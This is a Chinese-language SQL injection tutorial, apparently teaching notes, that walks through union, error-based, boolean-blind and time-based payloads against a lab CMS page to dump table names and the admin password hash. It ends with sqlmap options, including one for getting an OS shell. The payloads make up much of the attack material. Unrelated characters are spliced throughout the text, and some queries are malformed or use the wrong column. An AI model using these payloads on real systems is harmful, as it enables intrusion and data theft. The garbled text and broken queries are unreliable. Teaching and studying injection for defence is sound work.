一、SQL 簡(jiǎn)介
SQL 結(jié)構(gòu)化查詢語(yǔ)言沿猜,是一種特殊的編程語(yǔ)言,用于數(shù)據(jù)庫(kù)中的標(biāo)準(zhǔn)數(shù)據(jù)查詢語(yǔ)言碗脊。1986
年 10 月啼肩,美國(guó)國(guó)家標(biāo)準(zhǔn)學(xué)會(huì)對(duì) SQL 進(jìn)行規(guī)范后,以此作為關(guān)系式數(shù)據(jù)庫(kù)管理系統(tǒng)的標(biāo)準(zhǔn)語(yǔ)
言。
MYSQL ACCESS MSSQL orcale
明顯的層次結(jié)構(gòu)
庫(kù)名|表名|字段名|字段內(nèi)容(像 excel 文件一樣)
不過(guò)各種通行的數(shù)據(jù)庫(kù)系統(tǒng)在其實(shí)踐過(guò)程中都對(duì) SQL 規(guī)范做了某些編改和擴(kuò)充祈坠。所以實(shí)際
上不同的數(shù)據(jù)庫(kù)系統(tǒng)之間的 SQL 不能完全通用害碾。
SQL 注入(SQL Injection)是一種常見(jiàn)的 Web 安全漏洞,攻擊者利用這個(gè)漏洞赦拘,可以訪問(wèn)
或修改數(shù)據(jù)慌随,或者利用潛在的數(shù)據(jù)庫(kù)漏洞進(jìn)行攻擊。
二躺同、SQL 注入基礎(chǔ)
2.1 漏洞原理
針對(duì) SQL 注入的攻擊行為可描述為通過(guò)用戶可控參數(shù)中注入 SQL 語(yǔ)法阁猜,破壞原有 SQL 結(jié)
構(gòu),達(dá)到編寫(xiě)程序意料之外結(jié)果的攻擊行為笋籽。
其成因可歸結(jié)為以下兩個(gè)原理疊加造成:
1蹦漠、程序編寫(xiě)者在處理程序和數(shù)據(jù)庫(kù)交互時(shí),使用字符串拼接的方式構(gòu)造 SQL 語(yǔ)句车海。
2、未對(duì)用戶可控參數(shù)進(jìn)行足夠的過(guò)濾便將參數(shù)內(nèi)容拼接進(jìn)入到 SQL 語(yǔ)句中隘击。
*注入點(diǎn)可能的位置
根據(jù) SQL 注入漏洞的原理侍芝,在用戶“可控參數(shù)”中注入 SQL 語(yǔ)法,也就是說(shuō) Web 應(yīng)用在獲
取用戶數(shù)據(jù)的地方埋同,只要代入數(shù)據(jù)庫(kù)查詢州叠,都有存在 SQL 注入的可能,這些地方通常包括:
GET 數(shù)據(jù)凶赁、POST 數(shù)據(jù)咧栗、HTTP 頭部(HTTP 請(qǐng)求報(bào)文其他字段)、Cookie 數(shù)據(jù)等虱肄。
2.2 漏洞危害
攻擊者利用 SQL 注入漏洞們可以獲取數(shù)據(jù)庫(kù)中的多種信息(如:管理員后臺(tái)密碼)致板,從而脫
取數(shù)據(jù)庫(kù)中內(nèi)容(脫庫(kù))。
在特別情況下還可以修改數(shù)據(jù)庫(kù)內(nèi)容或者插入內(nèi)容到數(shù)據(jù)庫(kù)咏窿,如果數(shù)據(jù)庫(kù)權(quán)限分配存在問(wèn)
題斟或,或者數(shù)據(jù)庫(kù)本身存在缺陷,那么攻擊者就可以通過(guò) SQL 注入漏洞直接獲取 webshell 或
者服務(wù)器系統(tǒng)權(quán)限集嵌。
mof 提權(quán)萝挤、udf 提權(quán)
2.3 分類(lèi)
SQL 注入漏洞根據(jù)不同的標(biāo)準(zhǔn),有不同的分類(lèi)根欧。但是從數(shù)據(jù)類(lèi)型分類(lèi)來(lái)看怜珍,SQL 注入分為數(shù)
字型和字符型。
數(shù)字型注入就是說(shuō)注入點(diǎn)的數(shù)據(jù)凤粗,拼接到 SQL 語(yǔ)句中是以數(shù)字型出現(xiàn)的酥泛,即數(shù)據(jù)兩邊沒(méi)有
被單引號(hào)、雙引號(hào)包括。
字符型注入正好相反
根據(jù)注入手法分類(lèi)揭璃,大致分為以下幾個(gè)類(lèi)別:
1晚凿、UNION query SQL injection(可聯(lián)合查詢注入)聯(lián)合查詢
2、Error-based SQL injection(報(bào)錯(cuò)型注入)報(bào)錯(cuò)注入
3瘦馍、Boolean-based blind SQL injection(布爾型盲注)布爾盲注
4歼秽、Time-based blind SQL injection(基于時(shí)間延遲注入)延時(shí)注入
5、Stacked queries SQL injection(可多語(yǔ)句查詢注入)堆疊查詢(增情组、刪燥筷、改)
2.4 MYSQL 相關(guān)
既然要探討 SQL 注入漏洞,需要對(duì)數(shù)據(jù)庫(kù)有所了解院崇,此處以 mysql 為例肆氓,這里只起到拋磚
引玉的作用,其他環(huán)境的注入底瓣,讀者可以根據(jù)本次的思路去學(xué)習(xí)谢揪,唯一不同的只是數(shù)據(jù)庫(kù)的
特性
2.4.1 注釋
mysql 數(shù)據(jù)庫(kù)的注釋的大概有以下幾種
#
-- (杠杠空格)
/* … */
/*! … */ 內(nèi)聯(lián)查詢
2.4.2 mysql 元數(shù)據(jù)數(shù)據(jù)庫(kù) information_schema
information_schema 數(shù)據(jù)庫(kù)中的幾個(gè)關(guān)鍵的表、字段
2.4.3 mysql 常用的函數(shù)與參數(shù)
show databases; #查看數(shù)據(jù)庫(kù)
use information_schema; #轉(zhuǎn)到數(shù)據(jù)庫(kù) information_schema
show tables; #查看當(dāng)前數(shù)據(jù)庫(kù)中的數(shù)據(jù)表
desc columns; #查看表的結(jié)構(gòu)
=|>|>=|<=|<> 比較運(yùn)算符 select 1<>2;
and|or 邏輯運(yùn)算符 select 1 and 0;
version() mysql 數(shù)據(jù)庫(kù)版本 select version();
database() 當(dāng)前數(shù)據(jù)庫(kù)名 select database();
user() 用戶名 select user();
current_user() 當(dāng)前用戶名 select current_user();
system_user() 系統(tǒng)用戶名 select system_user();
@@datadir 數(shù)據(jù)庫(kù)路徑 select @@datadir;
@@version_compile_os 操作系統(tǒng)版本 select @@version_compile_os;
length() 返回字符串長(zhǎng)度 select length('ffdfs');
select length(version());
substring() 截取字符串(三個(gè)參數(shù))
1捐凭、截取的字符串
2拨扶、截取的起始位置,從 1 開(kāi)
始計(jì)數(shù)
3茁肠、截取長(zhǎng)度
select substring("dhffjf",2,2);
substr() select substr("version()",2);
select substr(version(),2,10);
mid() select mid(' select ',2,6);
left() 從左側(cè)開(kāi)始取指定字符個(gè)
數(shù)的字符串
select left('adc',2);
select left(version(),2);
concat() 沒(méi)有分隔符的連接字符串 select concat('a','b','c');
concat_ws() 含有分隔符的連接字符串 select concat_ws('/','a','b','c');
group_concat() 連接一個(gè)組的字符串 select group_concat(id) from
users;
ord 返回 ASCII 碼 select ord('a');
ascii() select ascii('a');
hex() 將字符串轉(zhuǎn)換為十六進(jìn)制 select hex('a');
unhex() hex 的反向操作 select unhex(61);
md5() 返回 MD5 值 select md5('123456');
floor(x) 返回不大于 x 的最大整數(shù)
round(x) 返回參數(shù) x 接近的整數(shù)
rand() 返回 0-1 之間的隨機(jī)浮點(diǎn)
數(shù)
select rand();
load_file() 讀取文件患民,并返回文件內(nèi)容
作為一個(gè)字符串
sleep() 睡眠時(shí)間為指定的秒數(shù) select sleep(5);
if(true,t,f) if 判斷 select if(true,1,0);
select if(false,1,0);
find_in_set() 返回字符串在字符串列表
中的位置
benchmark() 指定語(yǔ)句執(zhí)行的次數(shù)
name_const() 返回表作為結(jié)果
2.4.4 邏輯運(yùn)算
在 SQL 語(yǔ)句中邏輯運(yùn)算與(and)比或(or)的優(yōu)先級(jí)要高。
select 1=2 and 1=2 or 1=1;
2.5 注入流程
由于關(guān)系型數(shù)據(jù)庫(kù)系統(tǒng)垦梆,具有明顯的庫(kù)/表/列/內(nèi)容結(jié)構(gòu)層次匹颤,所以我們通過(guò) SQL 注入漏洞
獲取數(shù)據(jù)庫(kù)中信息時(shí)候,也依據(jù)這樣的順序托猩。
首先獲取數(shù)據(jù)庫(kù)名印蓖,其次獲取表名,然后獲取列名站刑,最后獲取數(shù)據(jù)另伍。
三、SQL 注入
為了演示 sql 注入的四大基本手法绞旅,我們以 cms 為例摆尝。通過(guò) sql 注入漏洞獲得后臺(tái)管理員賬
號(hào)和密碼并成功登陸系統(tǒng)。
御劍掃描網(wǎng)站后臺(tái)因悲,還可以用 kali 系統(tǒng)中的 nikto堕汞、dirb 工具掃描。
SQL 注入點(diǎn)的判斷
對(duì)連接 http://ip/cms/show.php?id=34 是否是注入點(diǎn)進(jìn)行判斷晃琳。
當(dāng)我們變換 id 參數(shù)(34+1|34-1)的時(shí)候讯检,發(fā)現(xiàn)同一個(gè)頁(yè)面琐鲁,show.php 頁(yè)面展現(xiàn)出不同的
新聞內(nèi)容。也就是說(shuō)人灼,數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)顯示到網(wǎng)頁(yè)中來(lái)溯职。
初步判定蛙粘,id 參數(shù)會(huì)帶入數(shù)據(jù)庫(kù)查詢,根據(jù)不同的 id 查詢數(shù)據(jù)庫(kù),得到不同的新聞內(nèi)容蝌数。
猜測(cè)后臺(tái)執(zhí)行的 sql 語(yǔ)句大致結(jié)構(gòu)為:
select * from tbName where id =34
?id=34 +/- 1
select * from tbName where id = $id
?id=35' 字符型還是數(shù)字型(對(duì)比 sqli 實(shí)驗(yàn)的第一關(guān))
報(bào)錯(cuò):near ''' at line 1
select * from tbName where id = 35'
測(cè)試頁(yè)面是否有布爾類(lèi)型的狀態(tài)
?id=35 and 1=1
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
?id=35 and sleep(4) 是否有延時(shí)
select * from tbName where id=35 and sleep(4)
綜上佛析,此鏈接存在 sql 注入漏洞痹仙。
3.1 聯(lián)合查詢
由于數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)回顯到頁(yè)面中闷游,所以我們可以采用聯(lián)合查詢進(jìn)行注入。
聯(lián)合查詢就是 SQL 語(yǔ)法中的 union select 語(yǔ)句烙样。該語(yǔ)句會(huì)同時(shí)執(zhí)行兩條 select 語(yǔ)句冯遂,生成
兩張?zhí)摂M表,然后把查詢到的結(jié)果進(jìn)行拼接谒获。
select ~~~~ union select ~~~~
由于虛擬表是二維機(jī)構(gòu)蛤肌,聯(lián)合查詢會(huì)“縱向”拼接兩張?zhí)摂M表
實(shí)現(xiàn)跨庫(kù)、跨表查詢
3.1.1 必要條件
1批狱、兩張?zhí)摂M的表具有相同的列數(shù)
2寻定、虛擬表對(duì)應(yīng)的列的數(shù)據(jù)類(lèi)型相同
數(shù)字很特殊,可以自動(dòng)轉(zhuǎn)換成字符串精耐。例如:selcet 1,2,3,4.....
3.1.2 判斷字段個(gè)數(shù)
可以使用[order by] 語(yǔ)句來(lái)判斷當(dāng)前 select 語(yǔ)句所查詢的虛擬列表的列數(shù)。
[order by] 語(yǔ)句本意時(shí)按照某一列進(jìn)行排序琅锻,在 mysql 中可以使用數(shù)字來(lái)代替具體的列名卦停,
比如[order by 1] 就是按照第一列進(jìn)行排序,如果 mysql 沒(méi)有找到對(duì)應(yīng)的列恼蓬,就會(huì)報(bào)錯(cuò)
[Unkown column]惊完。我們可以依次增加數(shù)字,直到數(shù)據(jù)庫(kù)報(bào)錯(cuò)处硬⌒』保可以使用二分法。
3.1.3 判斷顯示位置
得到字段個(gè)數(shù)之后荷辕,可以嘗試構(gòu)造聯(lián)合查詢語(yǔ)句凿跳。
這里我們并不知道表名,根據(jù) mysql 數(shù)據(jù)庫(kù)的特性疮方,select 語(yǔ)句執(zhí)行過(guò)程中控嗜,并不需要指定
表名。
?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
頁(yè)面顯示的是第一張?zhí)摂M表的內(nèi)容,那么我們可以考慮讓第一張?zhí)摂M表的查詢條件為假骡显,則
顯示第二條記錄疆栏。因此構(gòu)造 SQL 語(yǔ)句:
?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15 --+
?id=-33 union select 1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15 --+
在執(zhí)行 sql 語(yǔ)句的時(shí)候曾掂,可以使用火狐瀏覽器的插件 hackbar
就會(huì)發(fā)現(xiàn)我們的第二張?zhí)摂M表就會(huì)顯示出來(lái)
發(fā)現(xiàn) 3 和 11 會(huì)顯示到頁(yè)面中來(lái)。
注:顯示出來(lái)的數(shù)據(jù)的地方對(duì)應(yīng)的數(shù)字就是我們將來(lái)插入語(yǔ)句的地方壁顶。
3.1.4 顯示數(shù)據(jù)庫(kù)版本和當(dāng)前數(shù)據(jù)庫(kù)名
我們可以將數(shù)字 3 用函數(shù)[version()] 代替珠洗,數(shù)字 11 用函數(shù)[database()] 代替
?id=-33 union select 1,2, version(),4,5,6,7,8,9,10, database(),12,13,14,15 --+
3.1.5 數(shù)據(jù)庫(kù)中的表
我們可以通過(guò)查詢 information_schema.tables 來(lái)獲取當(dāng)前數(shù)據(jù)庫(kù)的數(shù)據(jù)表。
group_concat(table_name) … from information_schema.tables where table_schema =
database()
數(shù)據(jù)庫(kù)報(bào)錯(cuò)
考慮用 16 進(jìn)制(hex())函數(shù)將字符串轉(zhuǎn)化為數(shù)字若专。
[hex(group_concat(table_name))]
得到 16 進(jìn)制編碼后的字符串许蓖,解碼(用 BP 工具解碼)
?id=-33 union select 1,2, version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15
from information_schema.tables where table_schema = database()
管理員賬戶密碼可能存在 cms_users 表中
3.1.6 表中字段
… hex(group_concat(column_name)) … from information_schema.cloumns where
table_schema = database() and table_name='cms_users'--+]
?id=-33 union select 1,2, version(),4,5,6,7,8,9,10,
hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where
table_schema = database() and table_schema = 'cms_users'
為了避免單引號(hào)的出現(xiàn),可以將 cms_users 轉(zhuǎn)換成 16 進(jìn)制(在 hackbar 中轉(zhuǎn)換)
?id=-33 union select 1,2, version(),4,5,6,7,8,9,10,
hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where
table_schema = database() and table_schema =0x636d735f7573657273
得到結(jié)果:userid, username, password
3.1.7 字段內(nèi)容
查詢表中數(shù)據(jù)
?id=-33 union select 1,2, version(),4,5,6,7,8,9,10, concat(username,':',password),12,13,14,15
from cms_users
為了避免單引號(hào)的出現(xiàn)
?id=-33 union select 1,2, version(),4,5,6,7,8,9,10,
concat(username,0x3a,password),12,13,14,15 from cms_users
得到的后臺(tái)管理員賬戶密碼富岳,但是是 MD5 加密之后的密文蛔糯,可以在線查詢。
https://www.somd5.com/(免費(fèi))
admin:123456
3.2 報(bào)錯(cuò)注入
在注入點(diǎn)的判斷過(guò)程中窖式,發(fā)現(xiàn)數(shù)據(jù)庫(kù)中 SQL 語(yǔ)句的報(bào)錯(cuò)信息蚁飒,會(huì)顯示在頁(yè)面中,因此可以
進(jìn)行報(bào)錯(cuò)注入萝喘。
報(bào)錯(cuò)注入原理淮逻,就是在錯(cuò)誤信息中執(zhí)行 SQL 語(yǔ)句。觸發(fā)報(bào)錯(cuò)的方式有很多阁簸,具體細(xì)節(jié)爬早,也
不盡相同,建議背公式即可启妹。
3.2.1group by 重復(fù)鍵沖突
有一定的成功率筛严,可能成功,也可能不成功
?id=33 and (select 1 from (select count(*),concat((select version() from
information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group
by x)a)--+
SQL 語(yǔ)句解析過(guò)程
from 后面的表標(biāo)識(shí)了這條語(yǔ)句要查詢的數(shù)據(jù)源
from 過(guò)程之后會(huì)形成一個(gè)虛擬的表 VT1.
# where
where 對(duì) VT1 過(guò)程中生成的臨時(shí)表進(jìn)行過(guò)濾饶米,滿足 where 子句的列被插入到 VT2 .
# group by
group by 會(huì)把 VT2 生成的表按照 group by 中的列進(jìn)行分組桨啃,生成 VT3
# having
having 這個(gè) group by 的子句對(duì) VT3 表中的不同分組進(jìn)行過(guò)濾,滿足 having 條件的子
句被加入到 VT4 表中檬输。
# select
select 這個(gè)子句對(duì) select 子句中的元素進(jìn)行處理照瘾,生成 VT5
計(jì)算 select 子句中的表達(dá)式,生成 VT5.1
distinct 刪除 VT5.1 表中的重復(fù)列丧慈,生成 VT5.2
top 從 order by 子句中定義的結(jié)果中析命,刪選出符合條件的列,生成 VT5.3
# order by
order by 從 VT5.3 中的表逃默,根據(jù)子句中的結(jié)果進(jìn)行排序鹃愤,生成 VT6
3.2.2 XPATH 報(bào)錯(cuò)
1、extractvalue()
?id=33 and extractvalue(1,concat('^',(select version()),'^'))--+
2笑旺、updatexml()
?id=33 and updatexml(1,concat('^',(select version()),'^'),1)--+
3.3 布爾盲注
1、原理
利用頁(yè)面返回的布爾類(lèi)型狀態(tài)筒主,正彻卦耄或者不正常
and 1=1
and 1=2
2鸟蟹、獲取數(shù)據(jù)庫(kù)名
⑴獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
?id=33 and length(database())=1--+
.....
?id=33 and length(database())=3--+
⑵獲取數(shù)據(jù)庫(kù)名
?id=33 and ascii(substr(database(),1,1))=99--+
由此可知數(shù)據(jù)庫(kù)名的第一個(gè)字母的 ASCII 碼是 99,即字母 C
3.4 延時(shí)注入
1使兔、原理
利用 sleep() 語(yǔ)句的延時(shí)性建钥,以時(shí)間線作為判斷條件
and sleep(5) 瀏覽器-->F12-->網(wǎng)絡(luò)
2、獲取數(shù)據(jù)庫(kù)名
⑴獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
?id=33 and if((length(database())=3),sleep(5),1)--+
⑵獲取數(shù)據(jù)庫(kù)名
?id=33 and if((ascii(substr(database(),2,1,)=109),sleep(5),1)
3.5sql 注入口訣
是否有回顯 聯(lián)合查詢
是否有報(bào)錯(cuò) 報(bào)錯(cuò)注入
是否有布爾類(lèi)型狀態(tài) 布爾盲注
絕招 延時(shí)注入
四虐沥、sqlmap
全自動(dòng) sql 注入工具熊经,神器。
但是有些注入工具是無(wú)法實(shí)現(xiàn)的欲险,要具體分析镐依,所以不要完全依賴于工具。
1天试、get 注入
-u "url" 檢測(cè)注入點(diǎn)
--dbs 列出所有數(shù)據(jù)庫(kù)的名字
--current-db 列出當(dāng)前數(shù)據(jù)的名
-D 指定一個(gè)數(shù)據(jù)庫(kù)
--tables 列出表名
-T 指定表名
--columns 列出所有字段名
-C 指定字段
--dump 列出字段內(nèi)容
2槐壳、post 注入
-r post.txt 從文件中讀入 http 請(qǐng)求
--os-shell 獲取 shell
3、攜帶 cookie 的認(rèn)證
要測(cè)試的頁(yè)面只有在登錄狀態(tài)下才能訪問(wèn)喜每,登錄狀態(tài)用 cookie 識(shí)別
--cookie ""